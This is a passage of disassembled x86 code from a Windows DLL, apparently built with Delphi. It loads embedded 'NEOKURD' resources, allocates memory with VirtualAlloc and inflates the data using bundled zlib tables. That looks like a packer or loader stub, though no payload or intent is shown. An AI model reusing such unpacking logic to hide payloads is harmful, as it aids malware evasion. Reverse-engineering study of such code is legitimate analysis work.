sub_10007590 mov edx, esp call sub_100038B0 test eax, eax jz short loc_1000768E call sub_100072F4 loc_1000768E: ; CODE XREF: sub_1000765C+2Bj pop edx retn sub_1000765C endp ; --------------------------------------------------------------------------- aRc_data_2 db 'RC_DATA',0 ; DATA XREF: sub_1000765C+1o ; sub_1000765C+13o aNeokurd_2 db 'NEOKURD',0 ; DATA XREF: sub_1000765C+6o ; sub_1000765C+18o ; =============== S U B R O U T I N E ======================================= sub_100076A0 proc near ; CODE XREF: sub_100076B8+15p ; sub_10007758+16p test eax, eax jnz short loc_100076A8 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_100076A8: ; CODE XREF: sub_100076A0+2j sub eax, 4 mov eax, [eax] and eax, 7FFFFFFCh sub eax, 4 retn sub_100076A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100076B8 proc near ; CODE XREF: sub_10007714+24p var_10 = dword ptr -10h push ebx push esi push edi push ecx mov ebx, edx mov esi, eax xor edi, edi test esi, esi jz short loc_1000770D cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_100076D4 mov eax, esi call sub_100076A0 mov [ebx], eax loc_100076D4: ; CODE XREF: sub_100076B8+11j mov eax, [ebx] call sub_10006B64 mov [esp+10h+var_10], eax cmp [esp+10h+var_10], 0FFFFFFFFh jnz short loc_100076EA cmp [esp+10h+var_10], 0 jz short loc_1000770D loc_100076EA: ; CODE XREF: sub_100076B8+2Aj push 4 push 1000h mov eax, [esp+18h+var_10] push eax push 0 call sub_10003778 ; VirtualAlloc mov edi, eax push esp push 0 mov edx, [ebx] mov ecx, edi mov eax, esi call sub_10006B74 loc_1000770D: ; CODE XREF: sub_100076B8+Cj ; sub_100076B8+30j mov eax, edi pop edx pop edi pop esi pop ebx retn sub_100076B8 endp ; =============== S U B R O U T I N E ======================================= sub_10007714 proc near ; CODE XREF: CODE:100078E8p var_4 = dword ptr -4 push ecx push offset aRc_data_0 ; "RC_DATA" push offset aNeokurd_0 ; "NEOKURD" call sub_100075D4 mov [esp+4+var_4], eax push offset aRc_data_0 ; "RC_DATA" push offset aNeokurd_0 ; "NEOKURD" call sub_10007590 mov edx, esp call sub_100076B8 test eax, eax jz short loc_10007746 call sub_100072F4 loc_10007746: ; CODE XREF: sub_10007714+2Bj pop edx retn sub_10007714 endp ; --------------------------------------------------------------------------- aRc_data_0 db 'RC_DATA',0 ; DATA XREF: sub_10007714+1o ; sub_10007714+13o aNeokurd_0 db 'NEOKURD',0 ; DATA XREF: sub_10007714+6o ; sub_10007714+18o ; =============== S U B R O U T I N E ======================================= sub_10007758 proc near ; CODE XREF: sub_100077BC+29p var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov ebx, edx mov esi, eax xor ebp, ebp test esi, esi jz short loc_100077B3 cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_10007775 mov eax, esi call sub_100076A0 mov [ebx], eax loc_10007775: ; CODE XREF: sub_10007758+12j cmp edi, 0FFFFFFFFh jnz short loc_1000777E test edi, edi jz short loc_100077B3 loc_1000777E: ; CODE XREF: sub_10007758+20j push 4 push 1000h mov eax, [ebx] push eax push 0 call sub_10003778 ; VirtualAlloc push 4 push 1000h mov eax, [ebx] push eax push 0 call sub_10003778 ; VirtualAlloc mov [esp+14h+var_14], eax push esp push ebx mov ecx, [ebx] mov edx, [ebx] mov eax, esi call sub_10003E38 mov ebp, [esp+14h+var_14] loc_100077B3: ; CODE XREF: sub_10007758+Dj ; sub_10007758+24j mov eax, ebp pop edx pop ebp pop edi pop esi pop ebx retn sub_10007758 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100077BC proc near ; CODE XREF: CODE:10007901p var_8 = dword ptr -8 push ebx push ecx push offset aRc_data_1 ; "RC_DATA" push offset aNeokurd_1 ; "NEOKURD" call sub_10007590 mov ebx, eax push offset aRc_data_1 ; "RC_DATA" push offset aNeokurd_1 ; "NEOKURD" call sub_100075D4 mov [esp+8+var_8], eax mov edx, esp mov eax, ebx call sub_10007758 test eax, eax jz short loc_100077F3 call sub_100072F4 loc_100077F3: ; CODE XREF: sub_100077BC+30j pop edx pop ebx retn sub_100077BC endp ; --------------------------------------------------------------------------- align 4 aRc_data_1 db 'RC_DATA',0 ; DATA XREF: sub_100077BC+2o ; sub_100077BC+13o aNeokurd_1 db 'NEOKURD',0 ; DATA XREF: sub_100077BC+7o ; sub_100077BC+18o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10007808 proc near ; DATA XREF: CODE:1000787Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10007827 push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000782E loc_10007826: ; CODE XREF: sub_10007808+24j retn ; --------------------------------------------------------------------------- loc_10007827: ; DATA XREF: sub_10007808+6o jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_10007826 ; --------------------------------------------------------------------------- loc_1000782E: ; CODE XREF: sub_10007808:loc_10007826j ; DATA XREF: sub_10007808+19o pop ebp retn sub_10007808 endp ; --------------------------------------------------------------------------- dword_10007830 dd 9, 10007838h, 100036E8h, 100036B8h, 100034B4h, 10003454h ; DATA XREF: CODE:10007894o ; BSS:off_1000A628o dd 10003720h, 100036F0h, 100037D0h, 100037A0h, 10003890h dd 10003860h, 10003DA0h, 10003D70h, 10006B5Ch, 10006B2Ch dd 10007258h, 10007228h, 0 dd offset sub_10007808 ; --------------------------------------------------------------------------- public start start: push ebp push esp pop ebp sub esp, 20h sub eax, eax mov [ebp-20h], eax mov [ebp-1Ch], eax mov [ebp-18h], eax mov [ebp-14h], eax mov eax, offset dword_10007830 call sub_10003674 xor eax, eax push ebp push offset loc_1000793A push dword ptr fs:[eax] mov fs:[eax], esp mov eax, offset dword_1000A678 mov edx, offset dword_10007950 call sub_10003118 mov eax, ds:dword_1000A678 mov edx, offset dword_1000795C call sub_100031D0 jnz short loc_100078D4 lea eax, [ebp-14h] call sub_10007610 loc_100078D4: ; CODE XREF: CODE:100078CAj mov eax, ds:dword_1000A678 mov edx, offset dword_10007968 call sub_100031D0 jnz short loc_100078ED lea eax, [ebp-18h] call sub_10007714 loc_100078ED: ; CODE XREF: CODE:100078E3j mov eax, ds:dword_1000A678 mov edx, offset dword_10007974 call sub_100031D0 jnz short loc_10007906 lea eax, [ebp-1Ch] call sub_100077BC loc_10007906: ; CODE XREF: CODE:100078FCj mov eax, ds:dword_1000A678 mov edx, offset dword_10007980 call sub_100031D0 jnz short loc_1000791F lea eax, [ebp-20h] call sub_1000765C loc_1000791F: ; CODE XREF: CODE:10007915j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10007941 loc_1000792C: ; CODE XREF: CODE:1000793Fj lea eax, [ebp-20h] mov edx, 4 call sub_100030E8 retn ; --------------------------------------------------------------------------- loc_1000793A: ; DATA XREF: CODE:100078A1o jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_1000792C ; --------------------------------------------------------------------------- loc_10007941: ; CODE XREF: CODE:10007939j ; DATA XREF: CODE:10007927o call sub_10002FD4 ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_10007950 dd 544Eh, 0FFFFFFFFh, 2 ; DATA XREF: CODE:100078B1o dword_1000795C dd 544Eh, 0FFFFFFFFh, 2 ; DATA XREF: CODE:100078C0o dword_10007968 dd 4355h, 0FFFFFFFFh, 2 ; DATA XREF: CODE:100078D9o dword_10007974 dd 4C5Ah, 0FFFFFFFFh, 2 ; DATA XREF: CODE:100078F2o dword_10007980 dd 5041h ; DATA XREF: CODE:1000790Bo CODE ends ; Section 2. (virtual address 00008000) ; Virtual size : 00001A84 ( 6788.) ; Section size in file : 00001A84 ( 6788.) ; Offset to raw data for section: 00008000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write DATA segment para public 'DATA' use32 assume cs:DATA ;org 10008000h dword_10008000 dd 0 ; DATA XREF: sub_10002EBC+Ar ; sub_10002F18+2w ... dword_10008004 dd 0 ; DATA XREF: sub_100024D8w ; sub_10002EBC+37r ... byte_10008008 db 2 ; DATA XREF: CODE:100034D2w db 8Dh, 40h, 0 word_1000800C dw 1332h ; DATA XREF: sub_10002868+6r ; sub_10002868:loc_100028E0r ... dw 0C08Bh byte_10008010 db 0 ; DATA XREF: sub_10002944r ; sub_10002960r ... db 8Dh, 40h, 0 byte_10008014 db 0 ; DATA XREF: sub_10002DBC-336r ; sub_10002DBC:loc_10002AC1r db 8Dh, 40h, 0 byte_10008018 db 0 ; DATA XREF: sub_10002F48:loc_10002FA9r db 8Dh, 40h, 0 off_1000801C dd offset dword_10008088 ; DATA XREF: sub_10003348r ; sub_10003348+8w ... dword_10008020 dd 0 ; DATA XREF: sub_100032EC+Cr off_10008024 dd offset sub_10001E74 ; DATA XREF: sub_10002448+5r ; sub_10002488+3Fr off_10008028 dd offset sub_10002004 ; DATA XREF: sub_10002468+5r ; sub_10002488+26r ... off_1000802C dd offset sub_10002384 ; DATA XREF: sub_10002488+Dr byte_10008030 db 0 ; DATA XREF: sub_100024E4+36r aRsu db 'клхивохмншьзыйэщчъЮАЦ',0 aFxn@ db 'ДЕ█@',0 aError db 'Error',0 ; DATA XREF: sub_10002F48+6Co dw 0C08Bh aRuntimeErrorAt db 'Runtime error at 00000000',0 ; DATA XREF: sub_10002EBC+3o ; sub_10002F48+32o ... dw 0C08Bh byte_10008074 db 30h ; DATA XREF: sub_10002EBC+41r db 31h, 32h, 33h dd 37363534h, 42413938h, 46454443h TlsIndex dd 0 ; DATA XREF: sub_100035E4+Cr ; sub_100035E4+37r ... dword_10008088 dd 0 ; DATA XREF: sub_10003668o ; sub_10003674+33o ... dword_1000808C dd 10000000h ; DATA XREF: sub_10003674+1Bw dword_10008090 dd 0 ; DATA XREF: sub_10003674+22w dword_10008094 dd 0 ; DATA XREF: sub_10003674+29w align 10h dword_100080A0 dd 0 ; DATA XREF: sub_10003BE4+9o dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh byte_100084A0 db 0 ; DATA XREF: CODE:100045C2r align 2 dw 0FFFFh byte_100084A4 db 31h ; DATA XREF: sub_1000400C+19r a_1_3 db '.1.3',0 aUnknownCompres db 'unknown compression method',0 ; DATA XREF: sub_10004128+B5o aInvalidWindowS db 'invalid window size',0 ; DATA XREF: sub_10004128+E2o aIncorrectHeade db 'incorrect header check',0 ; DATA XREF: sub_10004128+143o aNeedDictionary db 'need dictionary',0 ; DATA XREF: sub_10004128+24Do aIncorrectDataC db 'incorrect data check',0 ; DATA XREF: sub_10004128+395o align 4 dword_10008518 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h ; DATA XREF: sub_10004BE4:loc_10004C1Eo dd 1Bh, 1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h, 73h, 83h dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0) dword_10008594 dd 8 dup(0) ; DATA XREF: sub_10004BE4+3Fo dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0 dd 2 dup(70h) dword_10008610 dd 1, 2, 3, 4, 5, 7, 9, 0Dh, 11h, 19h, 21h, 31h, 41h, 61h ; DATA XREF: sub_10004BE4:loc_10004C89o dd 81h, 0C1h, 101h, 181h, 201h, 301h, 401h, 601h, 801h dd 0C01h, 1001h, 1801h, 2001h, 3001h, 4001h, 6001h dword_10008688 dd 4 dup(0) ; DATA XREF: sub_10004BE4+AAo dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6) dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh) dd 2 dup(0Ch), 2 dup(0Dh) dword_10008700 dd 9 ; DATA XREF: sub_10004D24+4r dword_10008704 dd 5 ; DATA XREF: sub_10004D24+Cr dword_10008708 dd 760h, 100h, 800h, 50h, 800h, 10h, 854h, 73h, 752h, 1Fh ; DATA XREF: sub_10004D24+13o dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah, 800h, 60h dd 800h, 20h, 900h, 0A0h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D0h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B0h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F0h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C8h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A8h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E8h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 98h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B8h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F8h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E4h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh, 751h, 0Fh dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0ECh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h dd 0A2h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E2h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D2h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B2h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F2h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CAh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0AAh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EAh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Ah, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FAh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A6h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F6h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EEh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h dd 50h, 800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h dd 30h, 900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h, 20h, 900h dd 0A1h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D1h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B1h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F1h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C9h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A9h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E9h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 99h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B9h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F9h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E5h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh, 751h, 0Fh dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0EDh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h dd 0A3h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E3h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D3h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B3h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F3h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CBh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0ABh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EBh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Bh, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FBh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A7h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F7h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EFh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh dword_10009708 dd 550h, 1, 557h, 101h, 553h, 11h, 55Bh, 1001h, 551h, 5 ; DATA XREF: sub_10004D24+1Eo dd 559h, 401h, 555h, 41h, 55Dh, 4001h, 550h, 3, 558h, 201h dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h, 556h, 81h dd 5C0h, 6001h, 550h, 2, 557h, 181h, 553h, 19h, 55Bh, 1801h dd 551h, 7, 559h, 601h, 555h, 61h, 55Dh, 6001h, 550h, 4 dd 558h, 301h, 554h, 31h, 55Ch, 3001h, 552h, 0Dh, 55Ah dd 0C01h, 556h, 0C1h, 5C0h, 6001h, 666E6920h, 6574616Ch dd 312E3120h, 4320332Eh, 7279706Fh, 74686769h, 39393120h dd 39312D35h, 4D203839h, 206B7261h, 656C6441h db 72h, 20h, 0 aOversubscribed db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_10004B48+66o aIncompleteDyna db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_10004B48:loc_10004BC4o aOversubscrib_0 db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_10004BE4+7Bo aIncompleteLite db 'incomplete literal/length tree',0 ; DATA XREF: sub_10004BE4+89o aOversubscrib_1 db 'oversubscribed distance tree',0 ; DATA XREF: sub_10004BE4+F2o aIncompleteDist db 'incomplete distance tree',0 ; DATA XREF: sub_10004BE4+100o aEmptyDistanceT db 'empty distance tree with lengths',0 ; DATA XREF: sub_10004BE4+113o dword_1000991C dd 10h ; DATA XREF: sub_10004F78+6B5r ; sub_10004F78+6EBr dd 11h, 12h, 0 dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1 dd 0Fh aInvalidBlockTy db 'invalid block type',0 ; DATA XREF: sub_10004F78+1F4o aInvalidStoredB db 'invalid stored block lengths',0 ; DATA XREF: sub_10004F78+2C9o aTooManyLengthO db 'too many length or distance symbols',0 ; DATA XREF: sub_10004F78+57Ao aInvalidBitLeng db 'invalid bit length repeat',0 ; DATA XREF: sub_10004F78+940o align 4 aInvalidLiteral db 'invalid literal/length code',0 ; DATA XREF: sub_10005CF0+29Fo aInvalidDistanc db 'invalid distance code',0 ; DATA XREF: sub_10005CF0+4A2o align 4 dword_10009A0C dd 0 ; DATA XREF: sub_10004F78+803r ; sub_10004F78+8DFr ... dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh, 0FFh, 1FFh, 3FFh, 7FFh dd 0FFFh, 1FFFh, 3FFFh, 7FFFh, 0FFFFh aInvalidDista_0 db 'invalid distance code',0 ; DATA XREF: sub_100066BC+26Co aInvalidLiter_0 db 'invalid literal/length code',0 ; DATA XREF: sub_100066BC+396o align 4 DATA ends ; Section 3. (virtual address 0000A000) ; Virtual size : 0000067D ( 1661.) ; Section size in file : 0000067D ( 1661.) ; Offset to raw data for section: 0000A000 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write BSS segment para public '' use32 assume cs:BSS ;org 1000A000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing off_1000A000 dd offset loc_100032E4 ; DATA XREF: CODE:100034F4w dword_1000A004 dd 0 ; DATA XREF: CODE:10002D4Er dword_1000A008 dd 0 ; DATA XREF: sub_100024E4+9r ; sub_100024E4+16r dword_1000A00C dd 0 ; DATA XREF: sub_10002DBC-363r ; CODE:10002D2Cr off_1000A010 dd offset sub_10001008 ; DATA XREF: sub_10002944+14r ; sub_10002960+16r ... off_1000A014 dd 